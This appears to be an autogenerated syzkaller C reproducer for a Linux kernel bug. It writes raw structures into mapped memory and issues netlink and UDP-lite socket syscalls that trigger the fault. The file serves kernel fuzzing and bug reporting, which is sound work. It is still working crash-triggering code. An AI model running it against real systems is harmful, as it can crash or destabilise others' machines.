// https://syzkaller.appspot.com/bug?id=4e947674d10b0fb0cb94d4d723989cee439a71d6 // autogenerated by syzkaller (http://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff}; void loop() { long res = 0; res = syscall(__NR_socket, 0x10, 3, 6); if (res != -1) r[0] = res; *(uint64_t*)0x20000340 = 0x20000000; *(uint16_t*)0x20000000 = 0x10; *(uint16_t*)0x20000002 = 0; *(uint32_t*)0x20000004 = 0; *(uint32_t*)0x20000008 = 0; *(uint32_t*)0x20000348 = 0xc; *(uint64_t*)0x20000350 = 0x20000300; *(uint64_t*)0x20000300 = 0x20000440; *(uint32_t*)0x20000440 = 0xb8; *(uint16_t*)0x20000444 = 0x19; *(uint16_t*)0x20000446 = 0x523; *(uint32_t*)0x20000448 = 0; *(uint32_t*)0x2000044c = 0; *(uint32_t*)0x20000450 = htobe32(0xe0000002); *(uint8_t*)0x20000460 = 0; *(uint8_t*)0x20000461 = 0; *(uint8_t*)0x20000462 = 0; *(uint8_t*)0x20000463 = 0; *(uint8_t*)0x20000464 = 0; *(uint8_t*)0x20000465 = 0; *(uint8_t*)0x20000466 = 0; *(uint8_t*)0x20000467 = 0; *(uint8_t*)0x20000468 = 0; *(uint8_t*)0x20000469 = 0; *(uint8_t*)0x2000046a = 0; *(uint8_t*)0x2000046b = 0; *(uint8_t*)0x2000046c = 0; *(uint8_t*)0x2000046d = 0; *(uint8_t*)0x2000046e = 0; *(uint8_t*)0x2000046f = 0; *(uint16_t*)0x20000470 = htobe16(0); *(uint16_t*)0x20000472 = htobe16(0); *(uint16_t*)0x20000474 = htobe16(0); *(uint16_t*)0x20000476 = htobe16(0); *(uint16_t*)0x20000478 = 0xa; *(uint8_t*)0x2000047a = 0; *(uint8_t*)0x2000047b = 0; *(uint8_t*)0x2000047c = 0; *(uint32_t*)0x20000480 = 0; *(uint32_t*)0x20000484 = 0; *(uint64_t*)0x20000488 = 0; *(uint64_t*)0x20000490 = 0; *(uint64_t*)0x20000498 = 0; *(uint64_t*)0x200004a0 = 0; *(uint64_t*)0x200004a8 = 0; *(uint64_t*)0x200004b0 = 0; *(uint64_t*)0x200004b8 = 0; *(uint64_t*)0x200004c0 = 0; *(uint64_t*)0x200004c8 = 0; *(uint64_t*)0x200004d0 = 0; *(uint64_t*)0x200004d8 = 0; *(uint64_t*)0x200004e0 = 0; *(uint32_t*)0x200004e8 = 0; *(uint32_t*)0x200004ec = 0; *(uint8_t*)0x200004f0 = 0; *(uint8_t*)0x200004f1 = 0; *(uint8_t*)0x200004f2 = 0; *(uint8_t*)0x200004f3 = 0; *(uint64_t*)0x20000308 = 0xb8; *(uint64_t*)0x20000358 = 1; *(uint64_t*)0x20000360 = 0; *(uint64_t*)0x20000368 = 0; *(uint32_t*)0x20000370 = 0; syscall(__NR_sendmsg, r[0], 0x20000340, 0); res = syscall(__NR_socket, 2, 0x200000002, 0x88); if (res != -1) r[1] = res; *(uint16_t*)0x20000000 = 2; *(uint16_t*)0x20000002 = htobe16(0x4e21); *(uint32_t*)0x20000004 = htobe32(0); *(uint8_t*)0x20000008 = 0; *(uint8_t*)0x20000009 = 0; *(uint8_t*)0x2000000a = 0; *(uint8_t*)0x2000000b = 0; *(uint8_t*)0x2000000c = 0; *(uint8_t*)0x2000000d = 0; *(uint8_t*)0x2000000e = 0; *(uint8_t*)0x2000000f = 0; syscall(__NR_bind, r[1], 0x20000000, 0x10); res = syscall(__NR_dup2, r[1], r[1]); if (res != -1) r[2] = res; *(uint16_t*)0x20000100 = 2; *(uint16_t*)0x20000102 = htobe16(0x4e21); *(uint32_t*)0x20000104 = htobe32(0); *(uint8_t*)0x20000108 = 0; *(uint8_t*)0x20000109 = 0; *(uint8_t*)0x2000010a = 0; *(uint8_t*)0x2000010b = 0; *(uint8_t*)0x2000010c = 0; *(uint8_t*)0x2000010d = 0; *(uint8_t*)0x2000010e = 0; *(uint8_t*)0x2000010f = 0; syscall(__NR_sendto, r[2], 0x20000140, 0, 0x8000, 0x20000100, 0x10); *(uint16_t*)0x20000040 = 2; *(uint16_t*)0x20000042 = htobe16(0); *(uint8_t*)0x20000044 = 0xac; *(uint8_t*)0x20000045 = 0x14; *(uint8_t*)0x20000046 = 0x14; *(uint8_t*)0x20000047 = 0xbb; *(uint8_t*)0x20000048 = 0; *(uint8_t*)0x20000049 = 0; *(uint8_t*)0x2000004a = 0; *(uint8_t*)0x2000004b = 0; *(uint8_t*)0x2000004c = 0; *(uint8_t*)0x2000004d = 0; *(uint8_t*)0x2000004e = 0; *(uint8_t*)0x2000004f = 0; syscall(__NR_sendto, r[1], 0x20000180, 0, 0, 0x20000040, 0x10); } int main() { syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); loop(); return 0; }